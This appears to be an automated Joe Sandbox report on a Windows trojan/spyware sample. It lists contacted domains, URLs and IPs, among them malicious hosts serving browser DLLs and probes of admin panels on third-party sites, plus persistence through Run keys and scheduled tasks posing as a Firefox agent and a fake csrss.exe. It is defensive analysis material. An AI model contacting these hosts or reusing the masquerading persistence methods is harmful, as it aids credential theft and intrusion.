http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://furnscales.com/wp-admin/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
http://dskflherlkhopihsf.com/985f606317f3e8dd/softokn3.dll	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13ResponseD	0%	Avira URL Cloud	safe
http://dskflherlkhopihsf.com/985f606317f3e8dd/nss3.dll	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
http://gztit.com/phpmyadmin/	0%	Avira URL Cloud	safe
http://dskflherlkhopihsf.com/985f606317f3e8dd/sqlite3.dll	0%	Avira URL Cloud	safe
http://giannicastellani.it/wp-admin/	0%	Avira URL Cloud	safe
http://furnscales.com/phpmyadmin/	0%	Avira URL Cloud	safe
http://yekai.com/admin.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
http://airanatoliava.org/admin.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://airanatoliava.org/wp-login.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15ResponseD	0%	Avira URL Cloud	safe
http://legdfls2369.com/index.php	100%	Avira URL Cloud	malware
http://atozrental.cc/atoz/index.php	100%	Avira URL Cloud	malware
http://tempuri.org/D	0%	Avira URL Cloud	safe
http://dskflherlkhopihsf.com/985f606317f3e8dd/mozglue.dll	0%	Avira URL Cloud	safe
http://gztit.com/pma/	0%	Avira URL Cloud	safe
http://giannicastellani.it/admin.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	Avira URL Cloud	safe
http://yekai.com/admin	0%	Avira URL Cloud	safe
http://dskflherlkhopihsf.com/985f606317f3e8dd/msvcp140.dll	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12ResponseD	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.vanweissenbruch.nl	185.85.211.138	true	false		unknown
lightseinsteniki.org	34.143.166.163	true	true	22%, Virustotal, Browse	unknown
parkingpage.namecheap.com	91.195.240.19	true	false		high
wisnuwardhana.ac.id	103.163.138.98	true	false	0%, Virustotal, Browse	unknown
creativepursuitsco.com	64.225.24.72	true	false	0%, Virustotal, Browse	unknown
www.domeinplein.nl	185.85.211.151	true	false	0%, Virustotal, Browse	unknown
ape4jewelry.com	172.67.198.164	true	false	0%, Virustotal, Browse	unknown
alt2.aspmx.l.google.com	64.233.184.27	true	false		high
www.creativepursuitsco.com	64.225.24.72	true	false	0%, Virustotal, Browse	unknown
lrrcenter.org	66.33.221.189	true	false	0%, Virustotal, Browse	unknown
mail.hope-mail.com	159.65.192.215	true	false	0%, Virustotal, Browse	unknown
databul.com.tr	85.159.66.93	true	false	0%, Virustotal, Browse	unknown
takin-co.ir	172.67.204.136	true	true	0%, Virustotal, Browse	unknown
mail.airanatoliava.org	208.91.197.132	true	true		unknown
dskflherlkhopihsf.com	172.67.137.48	true	true		unknown
trb61.com	157.52.245.122	true	false	0%, Virustotal, Browse	unknown
mailgate.untitled.ws	64.70.19.203	true	false		unknown
b-rose.de	81.169.145.92	true	false	0%, Virustotal, Browse	unknown
vanweissenbruch.nl	185.85.211.151	true	false	0%, Virustotal, Browse	unknown
giannicastellani.it	46.254.37.204	true	true		unknown
mail.zlig.com	148.72.77.90	true	false		unknown
overdue.aliyun.com	170.33.13.246	true	false		high
zlig.com	148.72.77.90	true	false	0%, Virustotal, Browse	unknown
mx1.privateemail.com	198.54.122.240	true	false		high
airanatoliava.org	208.91.197.132	true	true	0%, Virustotal, Browse	unknown
maksimp.com	143.95.247.178	true	true	0%, Virustotal, Browse	unknown
stualialuyastrelia.net	91.215.85.17	true	true	24%, Virustotal, Browse	unknown
untitled.ws	64.70.19.203	true	false	0%, Virustotal, Browse	unknown
furnscales.com	208.91.197.132	true	true	0%, Virustotal, Browse	unknown
mwbgw1.ocn.ad.jp	211.16.12.161	true	false	0%, Virustotal, Browse	unknown
yelena.strokin.info	162.241.216.203	true	false	0%, Virustotal, Browse	unknown
humydrole.com	95.158.162.200	true	true		unknown
wgglaw.net	208.63.41.11	true	false		unknown
delightfulhouses-com.mail.protection.outlook.com	52.101.9.17	true	false		high
mx0.123-reg.co.uk	94.136.40.235	true	false		unknown
yabeetowel.com	192.186.15.215	true	true		unknown
mxbiz1.qq.com	43.154.252.231	true	false		high
mail.b-io.co	142.93.226.250	true	false		unknown
gatewaytogames.com	94.136.40.82	true	false		unknown
mx1.123-reg.co.uk	94.136.40.236	true	false		unknown
mail.gatewaytogames.com	35.227.197.36	true	false		unknown
ersvp.com	35.174.248.99	true	false		unknown
yes163.com	154.12.34.252	true	false		unknown
_dc-mx.33dbbb6f819b.escortracing.org	209.124.74.160	true	false		unknown
websites054.homestead.com	108.167.135.78	true	false		high
smtpin.rzone.de	81.169.145.97	true	false		unknown
limit8design.com	34.149.120.3	true	false		unknown
_dc-mx.99f8f4cf799e.ape4jewelry.com	209.124.74.160	true	false		unknown
mx.263.net	128.1.41.229	true	false		high
www.trb61.com	157.52.245.122	true	false		unknown
gztit.com	218.20.227.130	true	true		unknown
ALT1.ASPMX.L.GOOGLE.com	209.85.202.27	true	false		high
mail.verer.com	13.248.169.48	true	false		unknown
yekai.com	81.68.211.71	true	true		unknown
winit.co.il	80.179.145.239	true	false		unknown
crbj.org.il	194.90.1.6	true	false		unknown
alt4.aspmx.l.google.com	142.250.153.27	true	false		high
ancoracenter-com.mail.protection.outlook.com	52.101.40.4	true	false		high
zadaca-com.mail.protection.outlook.com	52.101.68.36	true	false		high
ezdesign.net	13.248.169.48	true	false		unknown
mwbgw2.ocn.ad.jp	211.16.12.162	true	false		unknown
strokin.info	216.239.34.21	true	false		unknown
ancoracenter.com	99.86.229.32	true	false		unknown
www.zadaca.com	213.155.112.212	true	false		unknown
zadaca.com	213.155.112.212	true	false		unknown
escortracing.org	172.67.182.118	true	false		unknown
www.yabeetowel.com	192.186.15.215	true	false		unknown
enizi.ir	104.21.33.77	true	false		unknown
mx30.antispam.mailspamprotection.com	34.111.121.216	true	false		high
silverbarnjewelry.com	172.67.180.34	true	false		unknown
liuliuoumumy.org	34.143.166.163	true	true		unknown
donankohatsu.com	125.206.177.59	true	true		unknown
verer.com	13.248.169.48	true	false		unknown
yelvertonbrook.com.au	35.213.197.5	true	false		unknown
web-hp.prod.jimdo.systems	34.240.130.5	true	false		unknown
ASPMX.L.GOOGLE.com	142.251.111.26	true	false		high
mxw.263.net	54.209.81.157	true	false		high
atozrental.cc	175.126.109.15	true	true		unknown
lrrcenter-org.mail.protection.outlook.com	104.47.73.138	true	false		high
pop.us-phx.vox.secureserver.net	68.178.252.117	true	false		high
weiberg.de	217.160.0.91	true	false		unknown
legdfls2369.com	193.106.174.149	true	true		unknown
alt1.aspmx.l.google.com	209.85.202.26	true	false		high
mx00.schlund.de	212.227.15.41	true	false		unknown
aspmx2.googlemail.com	209.85.202.27	true	false		unknown
mx2.privateemail.com	198.54.122.250	true	false		high
alt3.aspmx.l.google.com	142.250.27.26	true	false		high
ftp.lrrcenter.org	66.33.221.189	true	false		unknown
luminus-media.com	3.33.130.190	true	false		unknown
stylishsoiree.com	216.40.47.17	true	false		unknown
datascope.co.uk	35.214.23.79	true	false		unknown
snukerukeutit.org	104.198.2.251	true	false		unknown
yel168.com	162.255.119.240	true	false		unknown
arsonsisi-com-tr.mail.protection.outlook.com	104.47.17.74	true	false		high
sumagulituyo.org	34.94.245.237	true	false		unknown
ALT2.ASPMX.L.GOOGLE.COM	64.233.184.26	true	false		high
mx20.antispam.mailspamprotection.com	34.120.156.61	true	false		high
delightfulhouses.com	3.33.130.190	true	false		unknown
arsonsisi.com.tr	172.67.212.10	true	false		unknown
pop3.giannicastellani.it	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://dskflherlkhopihsf.com/985f606317f3e8dd/softokn3.dll	false	Avira URL Cloud: safe	unknown
http://furnscales.com/wp-admin/	true	Avira URL Cloud: safe	unknown
http://airanatoliava.org/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://tonimiuyaytre.org/	true	URL Reputation: safe	unknown
http://yekai.com/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://dskflherlkhopihsf.com/985f606317f3e8dd/nss3.dll	false	Avira URL Cloud: safe	unknown
http://legdfls2369.com/index.php	true	Avira URL Cloud: malware	unknown
http://gztit.com/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://yekai.com/admin.php	true	Avira URL Cloud: safe	unknown
http://giannicastellani.it/wp-admin/	true	Avira URL Cloud: safe	unknown
http://tyiuiunuewqy.org/	true	URL Reputation: safe	unknown
http://furnscales.com/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://dskflherlkhopihsf.com/985f606317f3e8dd/sqlite3.dll	false	Avira URL Cloud: safe	unknown
http://airanatoliava.org/admin.php	true	Avira URL Cloud: safe	unknown
http://yekai.com/PhpMyAdmin/	true		unknown
http://furnscales.com/PhpMyAdmin/	true		unknown
http://gztit.com/PhpMyAdmin/	true		unknown
http://atozrental.cc/atoz/index.php	true	Avira URL Cloud: malware	unknown
http://liuliuoumumy.org/	true	URL Reputation: safe	unknown
http://airanatoliava.org/PhpMyAdmin/	true		unknown
http://airanatoliava.org/wp-login.php	true	Avira URL Cloud: safe	unknown
http://dskflherlkhopihsf.com/985f606317f3e8dd/mozglue.dll	false	Avira URL Cloud: safe	unknown
http://gztit.com/pma/	true	Avira URL Cloud: safe	unknown
http://yekai.com/admin	true	Avira URL Cloud: safe	unknown
http://giannicastellani.it/admin.php	true	Avira URL Cloud: safe	unknown
http://dskflherlkhopihsf.com/985f606317f3e8dd/msvcp140.dll	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23ResponseD	6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?t	explorer.exe, 0000000B.00000000.1353206964.0000000007276000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id2Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6ResponseD	6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13ResponseD	6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/	explorer.exe, 0000000B.00000000.1354982991.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1ResponseD	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	90FB.exe, 00000014.00000003.1875398445.000000007ED73000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.0000000002241000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 0000000B.00000000.1354982991.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10ResponseD	6719.exe, 00000010.00000002.2205719718.000000000360B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15ResponseD	6719.exe, 00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.0000000003535000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 0000000B.00000000.1354048792.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.1354663045.0000000008820000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.1354648209.0000000008810000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/D	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/06/addressingex	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	explorer.exe, 0000000B.00000000.1353206964.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp, 6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12ResponseD	6719.exe, 00000010.00000002.2205719718.0000000003623000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	6719.exe, 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	6719.exe, 00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
93.55.235.232	unknown	Italy	12874	FASTWEBIT	false
34.143.166.163	lightseinsteniki.org	United States	2686	ATGS-MMD-ASUS	true
95.158.162.200	humydrole.com	Bulgaria	44247	VIDEOSATBG	true
31.127.34.9	unknown	United Kingdom	12576	EELtdGB	false
104.198.2.251	snukerukeutit.org	United States	15169	GOOGLEUS	false
46.254.37.204	giannicastellani.it	Italy	52030	SERVERPLAN-ASIT	true
212.47.227.71	unknown	France	12876	OnlineSASFR	false
34.94.245.237	sumagulituyo.org	United States	15169	GOOGLEUS	false
193.106.174.149	legdfls2369.com	Russian Federation	50465	IQHOSTRU	true
209.58.180.90	unknown	Singapore	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	false
81.68.211.71	yekai.com	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	true
175.126.109.15	atozrental.cc	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
62.171.180.6	unknown	United Kingdom	51167	CONTABODE	false
86.59.21.38	unknown	Austria	8437	UTA-ASAT	false
193.233.132.48	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
51.75.206.12	unknown	France	16276	OVHFR	false
172.67.137.48	dskflherlkhopihsf.com	United States	13335	CLOUDFLARENETUS	true
38.47.221.193	unknown	United States	174	COGENT-174US	true
91.215.85.17	stualialuyastrelia.net	Russian Federation	34665	PINDC-ASRU	true
208.91.197.132	mail.airanatoliava.org	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
147.135.65.134	unknown	United States	16276	OVHFR	false
218.20.227.130	gztit.com	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1352126
Start date and time:	2023-12-02 18:00:01 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample file name:	BRvptajioG.exe renamed because original name is a hash value
Original Sample Name:	2c18f752c6d8a298451ef6e56c17c844.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@69/63@414/23
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 67% Number of executed functions: 256 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Connection to analysis system has been lost, crash info: Unknown
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.21.25.197, 172.67.134.131, 151.101.2.217, 151.101.66.217, 151.101.130.217, 151.101.194.217
Excluded domains from analysis (whitelisted): www.lrrcenter.org.cdn.cloudflare.net, ocsp.digicert.com, r2.shared.global.fastly.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 6719.exe, PID 7880 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:01:11	API Interceptor	138888x Sleep call for process: explorer.exe modified
19:53:40	Task Scheduler	Run new task: Firefox Default Browser Agent DA1263DA24A36DA5 path: C:\Users\user\AppData\Roaming\decegfu
19:54:09	API Interceptor	1x Sleep call for process: 90FB.exe modified
19:54:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
19:54:21	API Interceptor	36x Sleep call for process: AppLaunch.exe modified
19:54:23	API Interceptor	64x Sleep call for process: 6719.exe modified
19:54:28	Task Scheduler	Run new task: Firefox Default Browser Agent 9CDD14CD45A0CE47 path: C:\Users\user\AppData\Roaming\jtcegfu
19:54:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
19:54:40	Task Scheduler	Run new task: Firefox Default Browser Agent E057721CBE95D32F path: C:\Users\user\AppData\Roaming\gtcegfu
19:54:58	API Interceptor	2479x Sleep call for process: 6071.exe modified
19:55:15	API Interceptor	4044x Sleep call for process: csrss.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.143.166.163	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
